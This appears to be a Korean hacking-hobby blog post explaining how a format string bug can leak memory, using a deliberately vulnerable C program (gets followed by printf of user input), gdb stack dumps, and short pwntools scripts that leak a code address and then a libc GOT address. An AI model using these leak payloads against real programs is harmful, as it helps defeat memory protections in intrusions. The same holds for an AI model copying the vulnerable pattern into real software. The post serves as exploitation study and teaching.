memory leak 관점에서의 format string bug의 유용성.

2022. 11. 23. 15:49·Tips & theory
728x90
반응형

서론

개인적으로 지금까지 format string bug는 단순히

offset 확인을 위한 %p(또는 %x),

입력 길이를 위한 %c,

길이만큼 쓰기를 위한 %n

정도만 사용하고 있었는데, linked_list 라는 문제를 풀면서 조금 더 발전할 수 있는 계기가 되었다.

 

원리

어차피 원리는 format string bug이다.

다만, memory leak 관점에서 활용성을 극대화할 수 있어서 조금 정리해둔다.

 

일단 간단히 코딩.

main(){
        char buf[100];
        while (1){
                gets(buf);
                printf(buf);
                printf("\n");
        }
}

컴파일 시 에러가 많이 나는데 무시해도 상관없음 ㅋ

일단, 아래와 같이 %p로 출력해봤다.

┌──(kali㉿kali)-[~/Downloads]
└─$ ./a    
%p%p%p%p%p%p%p%p%p%p
0x10x10x7f62555f4a80(nil)(nil)0x70257025702570250x70257025702570250x70257025(nil)(nil)

모두가 알다시피 한번에 오프셋을 조금 넘어가보자.

%p
0x1
%2$p
0x1
%3$p
0x7f62555f4a80
%4$p
(nil)
%5$p
(nil)
%6$p
0x7025000070243625

마찬가지로 알다시피 print 함수 진입 후 rsp address를 기준으로 offset을 출력해준다.

저기 3번째 어딘가의 address처럼 보이는 값은 무엇일까.

gdb로 확인해봤다.

%3$p
0x7ffff7df4a80
^C
Program received signal SIGINT, Interrupt.
...
gef➤  x/g 0x7ffff7df4a80
0x7ffff7df4a80 <_IO_2_1_stdin_>:        0xfbad2288

stdin 구조체의 P flag 값이다.

stack의 모양을 조금 보자.

gef➤  x/40gx $rsp
0x7fffffffdee0: 0x0000000070243325      0x0000000000000000
0x7fffffffdef0: 0x0000000000000000      0x0000000000000000
0x7fffffffdf00: 0x0000000000000000      0x0000000000000000
0x7fffffffdf10: 0x0000000000000000      0x0000000000000000
0x7fffffffdf20: 0x0000000000000000      0x0000000000000000
0x7fffffffdf30: 0x0000000000000000      0x0000000000000000
0x7fffffffdf40: 0x0000000000000000      0x0000000000000000
0x7fffffffdf50: 0x0000000000000001      0x00007ffff7c2920a
0x7fffffffdf60: 0x0000000000000000      0x0000555555555159
0x7fffffffdf70: 0x0000000100000000      0x00007fffffffe068
0x7fffffffdf80: 0x0000000000000000      0x0ed2bdd25c0efe9c
0x7fffffffdf90: 0x00007fffffffe068      0x0000555555555159
0x7fffffffdfa0: 0x0000555555557dd8      0x00007ffff7ffd020
0x7fffffffdfb0: 0xf12d422de2ccfe9c      0xf12d52577f88fe9c
0x7fffffffdfc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdfd0: 0x0000000000000000      0x0000000000000001
0x7fffffffdfe0: 0x0000000000000000      0xc39f104b75593000
0x7fffffffdff0: 0x000000000000000d      0x00007ffff7c292bc
0x7fffffffe000: 0x00007fffffffe078      0x0000555555557dd8
0x7fffffffe010: 0x00007ffff7ffe2c0      0x0000000000000000

대략 0x7f로 시작하는 부분은 libc, ld, stack 영역즈음 일테고, 0x55로 시작하는 부분은 code 영역이나 data 영역일 것이다.

아래와 같이 말이다.

gef➤  x/g 0x00007ffff7c2920a
0x7ffff7c2920a <__libc_start_call_main+122>:    0xe800016effe8c789
gef➤  x/g 0x0000555555555159
0x555555555159 <main>:  0x70ec8348e5894855

libc 영역이야 뭐 추가로 언급할 필요가 없을 것이다.

결국 저 주소 값으로 offset을 구하면 되니까.

 

근데, code  & data 영역을 생각해보자.

main 함수는 아래와 같이 위치해있다.

gef➤  x/g 0x0000555555555159
0x555555555159 <main>:  0x70ec8348e5894855
gef➤  vm 0x555555555159
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555555000 0x00555555556000 0x00000000001000 r-x /home/kali/Downloads/a
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /home/kali/Downloads/a
0x00555555555000 0x00555555556000 0x00000000001000 r-x /home/kali/Downloads/a
0x00555555556000 0x00555555557000 0x00000000002000 r-- /home/kali/Downloads/a
0x00555555557000 0x00555555558000 0x00000000002000 r-- /home/kali/Downloads/a
0x00555555558000 0x00555555559000 0x00000000003000 rw- /home/kali/Downloads/a

해당 영역의 값들을 보면 main만 있느냐?

당연히 아니다.

0x555555555000 <_init>: 0xc5058b4808ec8348      0x0274c0854800002f
0x555555555010 <_init+16>:      0x00c308c48348d0ff      0x0000000000000000
0x555555555020: 0x25ff00002fca35ff      0x00401f0f00002fcc
0x555555555030 <putchar@plt>:   0x006800002fca25ff      0xffffffe0e9000000
0x555555555040 <printf@plt>:    0x016800002fc225ff      0xffffffd0e9000000
0x555555555050 <gets@plt>:      0x026800002fba25ff      0xffffffc0e9000000
0x555555555060 <__cxa_finalize@plt>:    0x906600002f7a25ff      0x0000000000000000
0x555555555070 <_start>:        0x89485ed18949ed31      0x455450f0e48348e2
0x555555555080 <_start+16>:     0xce3d8d48c931c031      0x002f2f15ff000000
0x555555555090 <_start+32>:     0x00841f0f2e66f400      0x00401f0f00000000
0x5555555550a0 <deregister_tm_clones>:  0x4800002f813d8d48      0x394800002f7a058d
0x5555555550b0 <deregister_tm_clones+16>:       0x2f0e058b481574f8      0xff0974c085480000
0x5555555550c0 <deregister_tm_clones+32>:       0x00000000801f0fe0      0x00000000801f0fc3
0x5555555550d0 <register_tm_clones>:    0x4800002f513d8d48      0x294800002f4a358d
0x5555555550e0 <register_tm_clones+16>: 0x3feec148f08948fe      0x48c6014803f8c148
0x5555555550f0 <register_tm_clones+32>: 0xdd058b481474fed1      0x0874c0854800002e
0x555555555100 <register_tm_clones+48>: 0x0000441f0f66e0ff      0x00000000801f0fc3
0x555555555110 <__do_global_dtors_aux>: 0x2f0d3d80fa1e0ff3      0x8348552b75000000
0x555555555120 <__do_global_dtors_aux+16>:      0x89480000002eba3d      0x2eee3d8b480c74e5
0x555555555130 <__do_global_dtors_aux+32>:      0xe8ffffff29e80000      0x2ee505c6ffffff64
0x555555555140 <__do_global_dtors_aux+48>:      0x001f0fc35d010000      0x00000000801f0fc3
0x555555555150 <frame_dummy>:   0xffff77e9fa1e0ff3      0xec8348e5894855ff
0x555555555160 <main+7>:        0xc7894890458d4870      0xfedee800000000b8
0x555555555170 <main+23>:       0x894890458d48ffff      0xbde800000000b8c7
0x555555555180 <main+39>:       0x0000000abffffffe      0x00d2ebfffffea3e8
0x555555555190 <_fini>: 0x08c4834808ec8348      0x00000000000000c3

조금 더 내려 가볼까?

0x555555556000 <_IO_stdin_used>:        0x3b031b0100020001      0x0000000400000028
0x555555556010: 0x00000074fffff01c      0x0000009cfffff05c
0x555555556020: 0x00000044fffff06c      0x000000b4fffff155
0x555555556030: 0x0000000000000014      0x0110780100527a01
0x555555556040: 0x1007019008070c1b      0x0000001c00000014
0x555555556050: 0x00000022fffff020      0x0000000000000000
0x555555556060: 0x0000000000000014      0x0110780100527a01
0x555555556070: 0x0000019008070c1b      0x0000001c00000024
0x555555556080: 0x00000040ffffefa0      0x0f4a180e46100e00
0x555555556090: 0x3b1a3f008008770b      0x000000002224332a
0x5555555560a0: 0x0000004400000014      0x00000008ffffefb8
0x5555555560b0: 0x0000000000000000      0x0000005c00000018
0x5555555560c0: 0x00000036fffff099      0x0d430286100e4100

그렇다. 그 밑에 값들이 더 있다.

조금 더 가보자.

0x555555557fb0: 0x0000000000000000      0x0000000000000000
0x555555557fc0: 0x00007ffff7c29240      0x0000000000000000
0x555555557fd0: 0x0000000000000000      0x0000000000000000
0x555555557fe0: 0x00007ffff7c403e0      0x0000000000003de0
0x555555557ff0: 0x00007ffff7ffe2c0      0x00007ffff7fdbfb0
0x555555558000 <putchar@got.plt>:       0x0000555555555036      0x0000555555555046
0x555555558010 <gets@got.plt>:  0x00007ffff7c75490      0x0000000000000000

자주보던 값이 나왔다.

PIE가 걸려있던 안걸려있던, 어차피 해당 위치는 할당된 주소로부터의 offset에 위치하고 있기에

어떻게든 code / data 영역의 값을 leak 할 수 있다면 offset을 통해 libc address leak 또한 가능할 것 같다.

근데 어떻게...?

 

여기서 쓰이는 것이 %s이다.

%s는 해당 주소가 가진 값을 null을 만나기 전까지 출력해준다.

 

일단 %p를 사용해 입력 시작점을 확인해보면 6번째다.

AAAAAAAA%p%p%p%p%p%p
AAAAAAAA0x10x10x7ffff7df4a80(nil)(nil)0x4141414141414141

그럼 위의 stack의 값을 비교해보면 main 함수의 주소는 23번째가 될 것이다.

%23$p
0x555555555159

여기서 %s로 바꿔서 해당 주소의 값을 확인해보면?

%23$p
0x555555555159
%23$s
UH��H��pH�E�H�Ǹ

와 같이 출력된다.

파이썬으로 값을 받아보면

from pwn import *

p = process('./a')
p.sendline(b'%23$s')
print(p.recvline())

아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './a': pid 125890
b'UH\x89\xe5H\x83\xecpH\x8dE\x90H\x89\xc7\xb8\n'
[*] Stopped process './a' (pid 125890)

이 값들은 무엇일까?

예상하다시피 main 함수의 어셈블러 코드이다.

gef➤  x/10g 0x555555555159
0x555555555159 <main>:  0x70ec8348e5894855      0xb8c7894890458d48
0x555555555169 <main+16>:       0xfffedee800000000

자, 그럼 위에서 본 것처럼 main 함수로부터 본 프로그램에 사용되는 got 영역 까지의 거리를 계산할 수 있기에

gef➤  p main
$1 = {<text variable, no debug info>} 0x555555555159 <main>
gef➤  x/g 0x555555555159
0x555555555159 <main>:  0x70ec8348e5894855
gef➤  x/g 0x555555558000
0x555555558000 <putchar@got.plt>:       0x00007ffff7c776f0
gef➤  p 0x555555558000-0x555555555159
$2 = 0x2ea7

최초 leak 된 주소에서 오프셋을 더해 값을 써주며,

%s로 읽어올 주소의 위치만 잘 찾아주면 또 다른 유용한 address leak이 가능하다.

 

아래와 같이 말이다.

from pwn import *

p = process('./a')
p.sendline(b'%23$p')
leak = int(p.recvline(),16)
print('%23$p leak value = ', hex(leak))

addr = leak + 0x2ea7
pay = b'%7$s' + b'AAAA' + p64(addr)

p.sendline(pay)
print('%7$s value =',hex(u64(p.recvuntil(b'A')[:-1].ljust(8,b'\x00'))))

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './a': pid 151760
%23$p leak value =  0x56248e580159
%7$s value = 0x7f3f2cc776f0
[*] Stopped process './a' (pid 151760)

당연하게도 두번째 leak 된 값은 puts의 got address이다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Tips & theory' 카테고리의 다른 글

for "민규"  (0) 2022.11.27
docker gdb attach & pid로 gdb attach  (0) 2022.11.25
dockerfile for pwnable [2022-11-23]  (2) 2022.11.19
for "One"  (0) 2022.11.10
return to dl resolve  (0) 2022.11.10
'Tips & theory' 카테고리의 다른 글
  • for "민규"
  • docker gdb attach & pid로 gdb attach
  • dockerfile for pwnable [2022-11-23]
  • for "One"
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    hackerschool
    64bit
    Format String Bug
    x86
    libc
    rop
    la ctf
    pwntools
    Me
    _IO_FILE
    32bit
    BOF
    RTL
    heap
    x64
    root-me
    tcache
    exploit education
    vtable
    pwnable.kr
    FSB
    ROOT ME
    root
    CANARY
    docker
    dreamhack
    phoenix
    cryptohack
    lob
    Buffer Overflow
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
memory leak 관점에서의 format string bug의 유용성.
상단으로

티스토리툴바